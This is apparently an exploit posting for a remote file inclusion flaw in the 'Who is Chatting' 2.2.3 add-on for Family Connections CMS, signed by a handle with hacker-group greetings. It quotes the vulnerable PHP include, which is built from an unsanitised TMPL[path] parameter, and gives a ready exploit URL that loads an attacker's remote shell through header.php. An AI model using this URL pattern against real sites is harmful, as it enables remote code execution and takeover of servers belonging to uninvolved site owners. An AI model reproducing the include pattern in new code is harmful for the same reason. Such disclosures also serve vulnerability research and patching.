Family Connections Who is Chatting AddOn – Remote File Inclusion
*======================================================= Who is Chatting 2.2.3 Remote File Include Vulnerability ======================================================= # Author : lumut-- # Script Details : http://www.familycms.com/downloads/details.php?file=50 # Bugs : <? $chat_inc = $TMPL[\'path\'] . \"inc/chatting_inc.php\"; include_once ($chat_inc); ?> # Expl: http://server/mod_chatting/themes/default/header.php?TMPL[path]=[shell] # Greetz & Thanks: cr4wl3r, team_elite, kisame, virusfree, doniskynet, manadocoding* |